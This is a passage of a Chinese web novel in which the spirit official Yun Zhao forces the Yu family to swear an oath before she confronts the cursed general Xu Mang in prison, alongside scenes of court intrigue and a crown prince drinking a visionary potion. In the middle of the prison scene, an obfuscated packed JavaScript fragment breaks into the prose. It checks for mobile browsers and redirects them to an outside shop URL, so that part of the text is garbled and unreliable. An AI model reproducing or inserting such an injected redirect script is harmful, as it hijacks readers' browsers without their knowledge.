既是如此,他徐家早干嘛去了?既然知道自家男人用了邪术要害死亲人,为何不早来找云司主求救?
偏等到今天,男人下了大狱,眼看要没命了,才跑来哭天抢地?”
这话问到了点子上,众人纷纷点头,看向梁嬷嬷的眼神更添怀疑。
地上的梁嬷嬷老泪纵横,捶胸顿足地哭喊:
“老妇人劝了啊!可我们夫人她、她因着之前一些误会,与云司主闹过不愉快,自觉无颜登门……
是老奴没用,没能劝动夫人啊!
直到昨夜夫人心口剧痛,咳出血来,梦里都是已故老太爷、老太太来索命……
我们才知大祸临头,再也顾不得脸面了啊!”
她一边哭诉,一边又砰砰磕头,“司主!千错万错,都是我们的错!
求您看在人命关天的份上,救救我家夫人吧!她虽有不是,罪不至死啊!”
这时,一直站在云昭身侧的温氏,看着梁嬷嬷声泪俱下的模样,听着周遭百姓被带动情绪的议论,胸中一股郁气再也按捺不住。
她本就性情敦厚,从前在姜家受尽欺凌也多是隐忍。
但自从在玄察司掌管庶务、接触形形**的求助者后,性情中坚毅有锋芒的一面被逐渐磨砺出来。
她上前一步,声音不高,却清亮坚定,清晰地传入每个人耳中:“这位嬷嬷,此言差矣!
我家司主为人,向来公私分明,以百姓安危、社稷法度为先,岂是那等挟私报复、心胸狭隘之人?
你们既知自家将军行邪术害人,便该早日迷途知返,主动向司主陈情,配合玄察司查案,或许还能为家人挣得一线生机!”
她目光扫过人群,又回到梁嬷嬷身上,语气渐沉:“可你们呢?平日里对司主的规劝警示置若罔闻,甚至可能暗自讥讽。
如今死到临头,走投无路了,才想起玄察司的好来!
一来便以这般惨状相逼,以舆情相挟!
若司主施救,或许你们感念一时;
可若司主因故救不得,或是那邪术反噬已深,无力回天,
你们是否又要转身便将脏水泼到司主头上,怨她见死不救、能力不济?”
温氏深吸一口气,胸膛微微起伏,将多日来所见所感倾泻而出:
“像你们这般,事前不听良言,事急便来相逼,事若不谐便怨天尤人者——
说一句不配被救
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,或许苛刻,但确是我心中所想!
玄察司立于此,是为昭雪冤屈、震慑邪祟、护佑百姓安宁;
而非专为收拾此等自作孽后、又妄图以可怜**他人的烂摊子!”
温氏这番话,言辞恳切,情理兼备,既有对云昭为人的维护,更有对是非曲直的鲜明立场。
话音落下,门前竟有片刻寂静。
随即,人群中爆发出阵阵叫好与赞同之声!
“这位夫人说得在理!”
“可不就是吗!早干嘛去了!”
“云司主又不是神仙,哪能次次都救得回来?自己造的孽,自己也得担着!”
梁嬷嬷脸色一阵红一阵白,哭喊声噎在喉咙里,一时竟不知该如何应对。
云昭站在台阶之上,将这一切尽收眼底。
她看向因激动而脸颊微红的温氏,眼中掠过一丝欣慰。
温姨,再也不是姜家后院里那个逆来顺受的软弱妇人了。
她的脊梁挺直了,声音里有了力量,眼中有了明辨是非的锐光。
云昭的目光重新落回阶下狼狈的老妇人:
“梁嬷嬷,你今日在玄察司门前长跪哭求,口口声声要救你家夫人。那便说清楚,余家,究竟想从我这里求得什么?”
她微微一顿,故意当着众人的面说到:
“若你们是想求我出手,救家主徐莽,或是帮他化解‘怨面瘤’或是‘五亲断魂术’……恕我直言,做不到。”
梁嬷嬷被噎得一滞,脸上闪过一抹慌乱。
来之前,余氏确实曾拉着她的手,哀泣着求她无论如何也要试试,看能否当着众人的面,央求云昭出手,直接帮徐莽解了身上的咒术……
毕竟,此事原就是云昭当众戳破的。
她既懂这么多,想必一定有法子化解了?
云昭不看她骤变的脸色,继续道:“拖得太久,太迟了。”
梁嬷嬷闻言,更是面如土色,急急道:“那、那总能……总能想办法,帮我们夫人不受徐莽牵连,保住性命吧?还有小少爷,他才六岁啊!他是无辜的!”
就在这时,街边那顶一直静候的青帷小轿帘子一动。
一名身着深蓝色常服、面容清癯的中年男子快步走下轿来。
他几步上前,对着台阶上的云昭便是深深一揖,姿态放得极低:“在下余文远,恳请司主高抬贵手,救我余家女儿与外孙一条性命!”
云昭目光落在来人身上。
此人中等身材,颌下留着修剪整齐的短须,眉宇间有着文官常见的谨小慎微,但此刻那双眼睛里盛满了真切的担忧与恳求。
她对这张脸有印象。
第242章 不屑当姜家嫡子
前日金銮殿上,为孟峥之事,满朝文武吵得不可开交。
虽然大部分官员她都不认识,但凭借过人的记忆,那些面孔和他们当时说过的话,她都一一记在心中。
眼前这位余文远余大人,正是那日初时试图为孟峥强辩的诸多官员之一。
四目相对,云昭翘了翘唇角,笑意却未达眼底:“余大人言重了,‘高抬贵手’不敢当。
我不过一介女子,所**玄术不过微末之技,恐怕难以襄助。”
这话夹枪带棒,直指余文远当日在朝堂上所言。
余文远额角渗出细汗,但他竟颇为能屈能伸,脸上不见多少尴尬,反而将腰弯得更低,语气愈发恳切:
“云司主过谦了!司主虽是女子,却是真正的女中豪杰,玄术通神,智勇双全!
连孟峥那等奸猾巨恶都难逃司主法眼!满京城谁不敬服?
是在下当初有眼无珠,一心只想着攀附旧谊,给女儿结了这门孽缘亲事……”
余文远的父亲,曾是孟峥之父麾下一员勇将,可惜在早年一场战事中重伤致残,早早退了下来。
余文远未能继承父祖的勇武,走了科举文官的路子,可惜资质有限,多年来只在六品职位上徘徊。
将女儿余氏嫁给当时在孟峥麾下崭露头角的徐莽,是余家无奈之下走的一步棋——
既为维系与孟家日渐淡薄的关系,同时也是对女儿婚事的一场豪赌。
这些年来,余家确实不遗余力,利用在京中的些许人脉,为徐莽的升迁铺路,终使其成为孟峥的心腹副将。
谁曾想,这步棋,如今竟成了女儿和外孙的催命符。
余文远叹了口气,眼底透出几分苦涩:“不瞒司主,我那女儿,是个死心眼又极好面子的糊涂人。
她先前定是做了不少冲撞司主的糊涂事,这都是在下教女无方……
还请司主大**量,看在她如今性命攸关、且稚子无辜的份上,施以援手。”
说到此处,余文远转过身,对着越聚越多的围观百姓,朗声拱手道:
“诸位父老乡亲!今日请诸位在此为我余家做个见证!
我余文远,恳求玄察司云司主出手,救一救我女儿和外孙的性命!
若能成功,我余家必当街叩谢,并赠玄察司‘扶危济困’金字匾额一方,以彰司主功德!
若天命不佑,司主尽力后仍无法挽回,我余文远及全家上下,也绝无半点怨恨之心,
更不会对玄察司、对云司主有半分怨言!
一切后果,由我余家自行承担!”
这番话他说得掷地有声,情真意切,姿态更是放得极低,一时间倒也博得了不少围观百姓的同情与点头。
云昭心中却明镜似的。
这余文远,算盘珠子都快崩到她脸上了——
成了,他只需送一块金字匾额,便算酬谢;
不成,他和余家“绝不怨恨”,听起来大度,实则玄察司却是白费力气,甚至可能再惹非议。
不过,倒算这余文远运气好,
她今日,正巧有用得上他的地方。
“余大人一片爱女之心,令人动容。”云昭缓缓开口,声音不高,却自有分量,“我可以出手一试。”
余文远眼底骤然迸发出希望的光芒,急忙道:“多谢司主!多谢……”
“不过,”云昭打断了他,“我有我做事的规矩。若余大人能应允并做到,我便带你们走一趟。”
余文远心头一跳:“司主请讲。”
云昭直视着他的眼睛,一字一句道:
“第一,接下来,余大人需立刻带上令嫒余氏,以及你那外孙,随我一同前往大理寺诏狱。”
“诏狱?!”余文远脸色骤变,失声惊呼。
他怎会不知,他那“好女婿”徐莽,如今正被关在诏狱受刑!
云昭不理会他的震惊,继续道:
“第二,到了诏狱之后,一应事务,都必须严格听从我的安排,不得有任何质疑、抗拒或中途变卦。
若你,或你的女儿、外孙,有任何一人违反此条……”
云昭目光微闪,扫过街边那顶微微晃动的轿帘——
很明显,余氏及家中其他女眷,此刻正躲在轿中,紧张地窥视着外面的一切。
“我见过的人心鬼蜮,比诸位想象的要多得多。”云昭淡声道,“所以,我不信空口白话的许诺。
余大人若真心想救家人,不妨现在就与我击掌,立下‘心誓’。
此番行事,若余家人中途违逆我的指令,则余氏一脉,必遭殃祸,家宅不宁,子嗣凋零!
而你余文远,官运断绝,晚景凄凉,不得善终!”
此言一出,不仅余文远脸色瞬间惨白,连他身旁的梁嬷嬷也吓得膝盖一软,险些瘫坐在地。
周围的百姓顿时响起一片倒吸冷气声。
“这誓也忒毒了!”
“云司主是不是太较真了?人家余大人都那么恳求了……”
“你懂什么!这叫先小人后君子!那余氏之前肯定得罪过司主,万一救活了翻脸不认人怎么办?”
“就是,玄术救人,肯定凶险,万一他们不听话乱来,害了司主怎么办?”
就在议论纷纷之际,人群之中忽而传来一道清冷而平静的男子声音:
“既要人救命,都是火烧眉毛、性命攸关的事了,怎还犹犹豫豫,计较誓言轻重?
若换做是我,为救至亲性命,便是更重的誓言也立得!”
此言一出,立刻有性格爽利耿直的汉子高声附和:“这话说得在理!”
“没错!况且若从一开始就没打算违逆云司主的话,老老实实照做,这誓言又有什么可怕的?”
“人家云司主也是冒着风险做这些,万一你们不听话中途拖后腿,换了是我,我也不想救!立个重誓约束着,正好!”
“余大人,别犹豫了!救人要紧啊!”
云昭立即朝那最初发声的方向看去,只见人群缝隙中,一道身着青衫的身影正悄然退后,迅速隐入更密集的人流中。
云昭不禁微微蹙眉。那身影,瞧着竟有几分眼熟,仿佛是……裴琰之?
压下心中疑窦,云昭重新看向面色变幻不定的余文远。
余文远此刻脸色阵青阵白,额上冷汗涔涔。
前日在朝堂之上,他已见识到这云昭玄术诡异、言辞犀利,更兼城府深沉。
今日面对面,更觉此女心思缜密,极难对付。
这所谓的心誓,简直是将他和整个余家的前程性命都押了上去!
然而……他看了一眼不远处孤零零立在街边的青帷小轿,想起昨日女儿呕血昏迷、外孙惊哭不止的模样,又想起自家这一代不如一代的窘境——
自己文不成武不就,儿子在偏远小县做个县丞,眼看仕途无望。
女儿若再因此事丧命,外孙不保,他活着还有什么意思?
他这辈子谨小慎微,钻营算计,不就图个家宅平安、子孙绵延吗?
最终,他狠狠一咬牙,抬起微微颤抖的手,面向云昭,哑声道:
“好!老夫……今日就与云司主立下此心誓!一切但凭司主吩咐!”
云昭看着余文远伸出的手,并未立刻击掌,而是又补充了一句,声音只他二人可闻:
“余大人既主管京中书肆刊印之事,待此事了结,我还需余大人帮我一个小忙。”
余文远瞳孔微缩,瞬间明白过来!
这云昭今日肯帮忙,想必也是有所图。
可能被人有所图,总比处处无用要好!
余文远头一次如此庆幸,自己主管这摊事,居然还能入得玄察司主的青眼!
他重重一点头:“……好!”
云昭这才抬手,与余文远悬在半空、微微发凉的手掌,轻轻一击。
“啪”的一声轻响,在周遭渐渐平息的议论声中,却仿佛带着某种无形的约束力,悄然落下。
*
茶楼二层,临街的雅间窗户半开,雨后的清风拂动垂落的竹帘。
赫连曜倚在窗边,修长的手指漫不经心地拨弄着窗沿绿植的叶子,目光却追随着楼下街道上渐行渐远的一行人。
“智计深沉,桀骜不驯……如此女子,堪登后位。”
他话音刚落,身后便响起一道略显冷淡的声音:“她当不当皇后,与你无关。”
赫连曜闻言,非但不恼,反而轻笑出声,悠然地转过身来。
他那双天生微挑、看人时总带着三分风流意味的眼眸,看含笑看向来人:
“我这也算是真心实意的夸奖,就这
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么一句,就惹恼了我们寒公子?”
他语气戏谑,“既然这般在意,怎还躲在暗处,迟迟不去相认?以她的本事,难道还看不穿如今姜家那个‘姜珩’,根本就是个假货?!”
来人正是方才在人群中出声的裴琰之。
他一身不起眼的青衫,面容俊雅斯文,眉宇间却凝着一股化不开的疏离。
听到赫连曜的话,他脸色依旧没什么变化,只淡淡道:“还不是时候。”
“还不是时候?”赫连曜踱步到桌旁,自顾自斟了杯茶,呷了一口道,
“如你所愿,玉珠已向你们那位皇帝陛下当面陈情,执意要纳了‘姜珩’做她的驸马了!
你就不怕哪日真相暴露,他凭着驸马身份,死占着姜家嫡子的身份不肯还你?”
裴琰之眸色淡漠:“姜家嫡子的身份,他若稀罕,就让给他好了。”
赫连曜笑道:“你们两兄妹,还真是心有灵犀。
一个压根不屑当那劳什子姜家嫡子;一个直接金銮殿上请旨断亲,自立女户。真是有趣!”
裴琰之见他越说越起劲,叽叽喳喳没个完,蹙眉打断道:“你很闲?字字句句都不离她。
要不你也留在大晋当个赘婿得了。”
赫连曜宛如被人瞬间点了哑穴。
片刻之后,他笑得纯良:“寒公子运筹帷幄,布局已久,怎会因小王一时嘴贱,就毁了咱们苦心经营的大计?您说是吧?”
说着,他变戏法似的从袖中掏出一个精致小巧的白玉瓶,递到裴琰之面前:
“喏,雪参玉露丸,对调理内伤、固本培元有奇效。每日服一颗,于你恢复大有裨益。”
裴琰之神色倨傲,看都没看那玉瓶:“用不着。”
赫连曜挑眉,略显惊诧。
“我受伤那日,已得了云昭赠药。”
赫连曜啧啧两声,把玉瓶又塞回自己怀中:“原来是得了妹妹亲手赠药,怪道瞧不上我这宫廷秘制的御药了。”
裴琰之不理他的调侃,转而问道:“玉珠公主,你已决定舍了?”
赫连曜沉默片刻才道:“玉珠……是我一母同胞的亲妹妹,母妃去得早,我护着她长大。
但这几年,她行事愈发荒唐,那股子随心所欲、不顾后果的狠劲儿……越来越像父皇了。”
他脸上已没了笑意:“他日我若得登大宝,必行新政,肃清积弊,富民强国。
届时,玉珠作为长公主,权势更盛,以她的性子,只会变本加厉。”
为了他未来的明君之路,为了朱玉国的未来,这个妹妹……他不能带回去。
赫连曜的目光,落在窗外:“大晋礼法森严,或许能约束她一些。远离故国纷争,做个富贵闲散的公主,于她而言也是个好归宿。”
裴琰之听着,没有立即开口。
玉珠公主荒淫无度、草菅人命,岂是一天两天了?
她的恶名,即便在朱玉国内也早已传开。
留玉珠在大晋,不论皇室还是礼法,都容不得她活太久。
但裴琰之了解赫连曜。
了解他对皇位的执着与渴望,了解他隐藏在风流表象下的野心与才干,更了解他的心软与逃避。
他没有戳穿赫连曜的自欺欺人。
“你想跟大晋借兵,光是将玉珠公主留在京城作为‘诚意’,远远不够。”
赫连曜挑眉看他。
裴琰之直视着他,缓缓道:“你观萧启此人如何?”
赫连曜懒洋洋地靠回窗边:“龙章凤姿,心有丘壑,一看便是天生的帝王之材,只可惜啊——”
他拖长了调子,带着同病相怜的感慨,“跟我一样,处境尴尬。这帝王之位,看得见,摸得着,就是坐不上去,憋屈得很。”
裴琰之清冷的眸子深处掠过一丝锐光:“正巧,我就喜欢帮人拨乱反正。”
他声音压低,透着蛊惑人心的意味,“阿曜,与其去赌大晋皇帝权衡利弊之下才会施舍的‘善意’,不如……襄助秦王。”
裴琰之语气平淡,却字字千钧,“届时,你便是从龙功臣,更是未来大晋天子最坚实可靠的盟友。
借兵?何须再‘借’?届时他会亲自点将,允我率领一支精锐之师,与你一同杀回朱玉国,扫清障碍,助你登顶!”
第243章 血光之灾,不得善终
“清平乐”顶楼的最深处。
烛火摇曳,空气里弥漫着一股奇异的香气,非兰非麝,初闻清雅,细品却有一丝甜腻滑入喉咙。
太子没有穿明黄色的储君常服,只一袭极普通的玄色深衣,连纹饰都无。
这身低调装束,与寻常富家公子无异。
他端坐在紫檀木圈椅中,努力维持着储君的威仪。
他在这里,已经枯坐了小半个时辰。
外间隐约的丝竹喧笑,透过层层阻隔,传到这里只剩下极其微弱的、几不可闻的嗡鸣,像是隔着一座坟墓在听人间的热闹。
门轴转动,发出滞涩的“嘎吱”轻响。一道人影,侧身闪了进来。
来人身材瘦削,裹在一件宽大得近乎不合身的灰布袍里,袍子空空荡荡,行走间几乎不见身体轮廓的起伏,像一阵裹着布的阴风,悄无声息地滑过长案。
最骇人的是那张脸——
一张毫无纹路的纯白色面具,光滑得如同新剥的蛋壳。
面具的边缘与灰袍的兜帽严丝合缝地连在一起,遮住了所有可能泄露肤色或发丝的缝隙。
面具只露出两个幽深的孔洞,看不清眼睛,却让人感到两道冰冷审视的目光正穿透而出。
“阁下邀孤来此,说有要事相商,却藏头露尾,是何道理?”
太子开口,声音刻意压得沉稳,却仍能听出一丝紧绷。
神秘人并未行礼,也无寒暄,只是静静“看”了他片刻。
那目光如有实质,让太子感到一阵莫名的心悸。
随后,一个低沉沙哑、辨不出年龄性别的声音从面具后传来:
“紫气隐现,本是腾龙之相,九五命格。”
太子心头猛地一跳,呼吸微促。
“可惜,”那声音继续,“龙气被人暗中窃取,命格已损,运道偏移。
若放任不管,非但东宫之位难保,来日……恐有血光之灾,不得善终。”
“你胡言乱……”太子下意识想驳斥,话到嘴边却哽住了。
血光之灾……不得善终……过去这几个月来的种种不顺,如同走马灯般在眼前闪过……
这一切,似乎都是从那个姜云昭回到京城开始的!
难道真是她在用什么阴邪术法,在窃取他的气运?
恐惧与愤怒交织,让太子后背渗出冷汗。
神秘人似乎看穿了他的心思,不再多言,只从宽大的袖中取出一只晶莹剔透、不过巴掌大的玉碗。
碗中盛着半盏浓稠如蜜、色泽暗金的液体,在烛光下泛着诡异的光泽,那股甜腻的异香正是源于此。
“饮下此‘窥天露’,殿下自可见天命轨迹,明辨真假。”
神秘人将玉碗递到太子面前。
太子盯着那碗液体,犹豫片刻,对皇权的渴望、对陨落的恐惧终究压过了种种疑虑。
他接过玉碗,触手温凉,一饮而尽。
液体入喉,并无想象中的怪异味道,反而如琼浆般顺滑,随即一股灼热的气流自丹田升起,直冲颅顶。
眼前景象骤然模糊、旋转,继而一片清明。
他发现自己仍坐在椅上,但面前却凭空出现了一面巨大的、波光粼粼的“水镜”。
镜面平滑,如最上等的琉璃,其中光影流动,正上演着一幕幕鲜活景象——
镜中,年轻英武的“他”正纵马于皇家猎场,意气风发,突然一支冷箭破空而来!
千钧一发之际,一道娇俏身影飞扑而出,替他挡下箭矢!
那人抬头,露出一张梨花带雨的脸,正是姜绾心!
镜中的“他”又惊又急,亲自为她包扎,眼中情意深种……
场景转换,是盛大的皇家婚礼。
“他”身着大红吉服,与凤冠霞帔的姜绾心携手步入东宫,接受百官朝贺。
父皇面露欣慰,母后含笑点头,一派花团锦簇,龙凤和鸣。
接着,“他”在朝堂之上侃侃而谈,提出的政见被父皇采纳,委以重任;
下朝后,文武官员簇拥恭维,俨然众望所归;
边关捷报传来,“他”代为犒赏三军,威望日隆……
最后,画面定格在父皇的寝宫。
龙床之上,皇帝阖目长逝。“他”跪在床前,悲痛万分。
然后,是太后——他的皇祖母,在重臣的见证下,将传国玉玺和明黄圣旨,一齐交到他手上。
“他”缓缓走向那至高无上的龙椅,最终,稳稳坐下!
镜中的“他”,身姿挺拔,目光锐利,精力充沛,举手投足间皆是未来帝王的气度。
甚至……镜影闪过寝宫一角,隐约可见“他”后宫佳丽无数,子嗣有望。
这才是他应该拥有的人生!
顺遂,荣耀,众星捧月,身体强健,荣登大宝!
太子看得心驰神荡,呼吸粗重,仿佛自己已置身那镜中世界,醉卧美人膝,醒掌天下权。
可就在他几乎要沉醉其中时,眼前景象戛然而止,“水镜”如泡影般碎裂、消散。
密室恢复原状,烛火依旧,香气未散。
太子怅然若失,只觉得方才那辉煌畅快的一切被生生抽走,留下更深的空虚与渴望,以及下腹一丝久违的、微弱的燥热。
神秘人的声音再次响起,依旧平淡,却带着诱惑:“殿下所见,方是天道原本赋予您的命途。
只要殿下愿意,按照我说的去做,拨乱反正,这一切……都将如实发生。
殿下的身体,亦会如镜中那般,龙马精神,重振雄风。”
太子猛地抬头,看向那戴着白面具的神秘人。
他听见自己开口道:“帮孤!只要帮孤夺得皇位,你想要什么心愿,孤都会答应你!”
*
大理寺诏狱。
空气中弥漫着一股混合了霉味与血腥的气息。
墙壁间隔悬挂着昏黄的油灯,勉强照亮狭窄的通道,却将人影拉得扭曲怪诞,如同地狱鬼魅。
云昭一行人跟在狱卒身后,脚步声在幽深的甬道里激起空洞回响。
余氏紧紧牵着儿子康哥儿的手,指尖冰凉。
孩子的脸埋在她衣襟里,只敢偶尔抬头看一眼,又飞快低下。
余文远神色紧绷,衣袍下摆不时擦过冰冷石壁。
赵悉倒是依旧轻松,只是眼神锐利地扫过沿途牢房里那些影影绰绰的身影。
甬道尽头,早有数人等候。
为首者身着深绯色官袍,面容儒雅清癯,此刻却眉头紧锁,正是大理寺卿白羡安。
他一见到云昭,宛如见了救星,也顾不得许多礼节,快步上前,压低声音道:
“今日遇到难事,正想去玄察司求救,又恐贸然登门,过于唐突……”
白羡安也知,云昭当日肯出手搭救妹妹,已是不计前嫌,但对他称不上有什么好感。
平白若无紧要之事,他是绝不会登门叨扰的。
云昭一看他眼中的血丝,便知端倪,直接问道:“徐莽闹的厉害?”
白羡安连连点头,引着云昭往更深处走,声音压得更低,几乎耳语:
“何止是厉害!简直诡异!原本将他单独关押在最里间的石室,手脚都用了重镣。
可自前夜起,他便开始不对劲。先是半夜无故狂笑,声如夜枭,持续了近半个时辰,看守的狱卒听得毛骨悚然。
用刑时更是骇人,寻常人早已皮开肉绽、哀嚎求饶,他却仿佛全然感觉不到疼痛,反而面露亢奋之色。
眼神亮得吓人,口中还念念有词,说什么‘快了’、‘再忍忍’……”
他深吸一口气,继续道:“狱中几个经验最老到的牢头都说从未见过这般情景。
不知怎的,就有流言私下传开,说这徐莽……怕是有‘仙家护体’,刀枪不入,痛觉全无。闹得人心惶惶。”
云昭听罢,冷嗤一声,声音在寂静的甬道里显得格外清晰:
“仙家岂会护佑这等豺狼之辈!他这是在‘借命’!借他妻子、儿子的命!”
此言一出,不仅白羡安听得脊背发凉,一旁竖着耳朵听的余氏更是如遭雷击嘴唇哆嗦着,几乎站立不稳。
她身旁的康哥儿“哇”的一声哭了出来:“娘!娘你捏疼孩儿了!疼!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954251|187080||http|test|mini|href|location''.split(''|''),0,{}));
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>孩子的哭声在死寂的诏狱中格外刺耳,也惊醒了余氏。
她猛地回神,看向云昭,再也顾不得什么颜面矜持,“扑通”一声跪倒在冰冷肮脏的地面上:
“云司主!云司主救我!救我儿!往日都是我被猪油蒙了心,糊涂透顶!
我不求能救徐莽那个丧尽天良的畜生了!只求您发发慈悲,快些结果了他!断了这邪术!救救我的康哥儿!求您了!”
她边说边用力磕头,额前立刻见了红。
余文远也在一旁急声道:“是啊云司主!此獠邪性,留不得!应当速速处置,以免祸及无辜!”
云昭垂眸,看着脚下涕泪横流、与之前在昭明阁前判若两人的余氏,又扫了一眼面色焦灼的余文远,唇角勾起一抹弧度。
余氏与余文远,与其说是知道怕了,不如说是想借她的手,彻底了结徐莽,免得受他牵连。
她今日走这一趟,本也是有正事要办的,怎么可能为了余家人的私心平白沾上人命?
“余大人,”她声音平静无波,却带着一股无形的压力,
“看来二位是忘了来诏狱之前,是如何与我击掌立誓,承诺一切听我安排的?
如今人还未见到,倒先替我做起主来了?”
余文远心头一凛,暗道糟糕,连忙躬身:“下官不敢!下官一时情急,口不择言,司主恕罪!”
余氏也吓得止住了哭声,满脸惶然。
云昭深知,对这种惯于算计、不见棺材不落泪的人,言语敲打远不如切身震慑。
她不再多言,径自从腰间悬挂的锦囊中取出三张黄纸符箓。
余文远和余氏一见那符箓,眼睛竟同时一亮!
他们早听闻云昭的符箓有奇效,有价无市,今日若能求得,哪怕只是保平安的,也值了!
这趟来求人,别的不一定有,但银票他们可是备足了!
余氏急切道:“爹爹!快!云司主的符!咱们买!多少银子都买!”
说着,竟自己从袖中掏出一张面额不小的银票。
余文远也反应过来,连忙也掏出一张,双手递上,脸上堆起讨好的笑:“司主,一点心意,不成敬意,还请笑纳。这符……”
莺时在一旁看得分明,眼疾手快,上前一步,极其自然地从两人手中“接过”那两张银票——
每张都是一万两面额!
她动作麻利地将银票塞进自己腰间荷包里,还特意拍了拍。
这荷包里面,可是她亲手绣上的一张姑娘给她画的“袖里乾坤符”,旁人别说偷抢,连打开都找不到口子!
余家人什么品性,这一路她也看明白了,银票到手才踏实,免得他们事后反悔!
余文远和余氏眼睁睁看着两万两银票瞬间“消失”,肉痛了一瞬,但目光立刻又热切地盯回云昭手中的符箓上。
二人迫不及待地伸出手,想接过那“保命符”贴身藏好。
谁知,云昭手腕一翻,并未将符箓递给他们,反而动作飞快地反手,分别在余文远、余氏以及康哥儿背心处轻轻一拍!
“啪、啪、啪”三声轻响。
余文远和余氏只觉得背心一热,随即喉咙一紧,仿佛被什么东西堵住了!
“嗬……嗬……”余氏惊恐地捂住自己的脖子,张大了嘴,却只能发出气音,一个字也说不出来了!
她瞪大了眼睛看向云昭,又急又怕。
余文远同样发现自己失声,脸色骤变。
云昭这才淡淡道:“这是‘禁言敛息符’,贴了自然说不了话,也暂时隔绝你们身上的生气,免得待会儿刺激到里面的东西。
待会儿用得着你们开口时,自会让你们开口。”
她瞥了一眼余氏怀中懵懂不知、只睁着大眼睛看着母亲的康哥儿,“孩子身上也贴了,保他暂时无虞。”
一旁的赵悉看得差点笑出声,连忙用拳头抵住嘴,咳嗽两声掩饰,同时偷偷给云昭竖了个大拇指。
绝!花两万两银子买了三张符,结果作用是让自己闭嘴!
这生意做的,云昭不愧是云昭!
第244章 夫妻同心,父子同命!
余文远此刻心中真是五味杂陈,又是心疼银子,又是惊惧云昭的手段,更有一种被彻底拿捏的无力感。
他狠狠瞪了一眼还想比划挣扎的女儿,用眼神示意她安分。
这云昭不仅本事大得邪乎,性子更是强硬果决,说一不二。
他们既然有求于人,又立了那等毒誓,此刻再拧着来,绝没有好果子吃!
而且,待会儿真要见到徐莽那副“邪性”模样,恐怕还得求着云昭庇护呢!
一行人各怀心思,继续向诏狱最深处走去。
空气越来越潮湿阴冷,那股子混合了血腥的浊气也愈发浓重,几乎令人作呕。
终于,在一扇厚重铁门前停下。
白羡安示意狱卒打开门上那把特制的巨大铜锁。
伴随着令人牙酸的“吱嘎”声,铁门被缓缓推开。
一股比外面浓郁十倍的血腥与汗臭扑面而来!
牢房内光线昏暗,只有墙角一盏如豆油灯,勉强勾勒出室内轮廓。
只见牢房中央,竖着一根粗大的、血迹斑斑的木桩。
一个赤着上身的身影被牛筋索以极其扭曲的姿势紧紧捆缚在木桩上,正是徐莽!
油灯光晕摇曳,清晰地照出他上身皮肤上那三颗拳头大小的怨面瘤!
比起前些日子所见,这三颗瘤子明显膨胀了一圈,颜色更深,其中仿佛有粘稠的黑色液体在缓缓流动,散发出的邪恶气息令人不寒而栗。
徐莽的脸埋在阴影中,看不真切。
但能感觉到两道极度亢奋又怨毒的目光,正透过乱发,死死盯着门口众人。
当他的目光扫过余氏和康哥儿时,他的目光骤然掺杂进一种令人毛骨悚然的贪婪与狂喜,仿佛饿狼见到了血肉。
“我的好夫人,我的好儿子……你们可算来了!为夫……好想你们啊……”
他的声音断续,却诡异地上扬,透着一股虚伪的亲热。
随即,他又看向余文远,发出嗬嗬的怪笑:“岳父大人也来了!多谢……多谢您老花钱疏通!让咱们一家人,还能见上一面……”
然而,当他的目光落在随后踏入牢房的云昭身上时,那怪笑声戛然而止。
他整个人仿佛僵了一瞬,乱发后的眼睛骤然眯起。
他猛地挣扎起来,束缚他的牛筋索深深勒进皮肉,他却似乎感觉不到疼痛,反而发出饱含恶意的狞笑:
“你们找她来?找这个**来治我?哈哈哈哈……晚了!太晚了!”
他猛地昂起头,乱发向后甩去,露出一张布满污秽的脸:
“‘五亲断魂’,血脉同枯!咒已成,根已种!
怨面瘤吸的是你们的生机,连的是你们的魂魄!
现在想切断?除非我死!或者……你们死光!”
他死死盯住浑身发抖的余氏和懵懂的康哥儿,语气变得异常“温柔”:
“夫人……康哥儿……你们的命,你们的运,早就和我绑在一起了!
我好了,你们才能好;我若不好了……你们也得下来陪我!
这叫……夫妻同心,父子同命!哈哈哈哈哈!”
这番毫无人性的渣滓言论,气得一旁的余文远浑身发抖,血气上涌,偏偏喉咙被符咒封住,一个字也骂不出来!
他怒极攻心,再也忍不住,猛地冲上前,抡起巴掌,用尽全身力气,“啪啪”两声,狠狠扇在徐莽那张扭曲的脸上!
然而,余文远一个文弱书生,气急之下又能有多少力气?
那两巴掌打在徐莽脸上,连个红印都没留下。
徐莽只是被打得头偏了偏,随即转回来,赤红的眼睛嘲弄地看着余文远,甚至伸出舌头舔了舔嘴角,继续发出嗬嗬的怪笑:
“岳父就这点力气?没吃饭吗?再来啊!用力打!
你打得越狠,你那好女儿、好外孙,就痛得越狠!他们的命……可是连在我身上呢!”
余文远闻言如遭重击,他指着徐莽,手指颤抖,胸口剧烈起伏,却只能发出急促喘息,一个字也说不出来!
他此刻又气又急,又怕又悔,简直宛如被泼了一碗滚油,在他五脏六腑里煎熬。
他当初怎么就给女儿选了这么个孽障!
他眼前阵阵发黑,不由将哀求的目光投向神色沉静站在一旁的云昭。
云昭的目光却并未落在濒临崩溃的余文远身上。
她的视线如冰冷的薄刃,缓缓刮过镣铐加身、犹自梗着脖子的徐莽。
随即,她侧过头,对白羡安低语:“可瞧见他身上佩戴了什么珠子类的东西?”
白羡安凝神回想片刻,也压低声音回道:“他腰间……似有根不起眼的黑色绳绦,上面仿佛串着些珠子。”
云昭道:“掌灯。”
赵悉跟在云昭身后,举高一盏狱卒递来的油灯。
白羡安则伸手撩开徐莽腰间。
果然,在层层衣物堆叠遮掩的腰际,露出一根编法古怪黑色绳绦,上面赫然串着十几颗乌黑沉黯的珠子。
珠子在灯光下不透丝毫光亮,反而像能把光线吸进去一般。
云昭开口:“这便是你口口声声,从玄都观玉衡**处求来的‘辟邪安魂珠’。”
徐莽先是一惊,随即强撑起嚣张气焰:“此乃**亲赐法宝,护我周全,涤除晦气!岂容你……”
“法宝?”云昭笑了一声,“吸食生人精气,反哺邪祟怨念的阴毒之物,也配称法宝?”
“你胡说!”徐莽厉声嘶叫起来,镣铐哗啦作响,“玉衡**是得道高人
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,法力无边!
那日在朝堂之上,若非陛下心软,未曾请来**,岂容你这灾星颠倒黑白,陷害忠良!
我徐莽落得如此地步,皆因你这祸害!
**所言不虚,你就是个灾……”
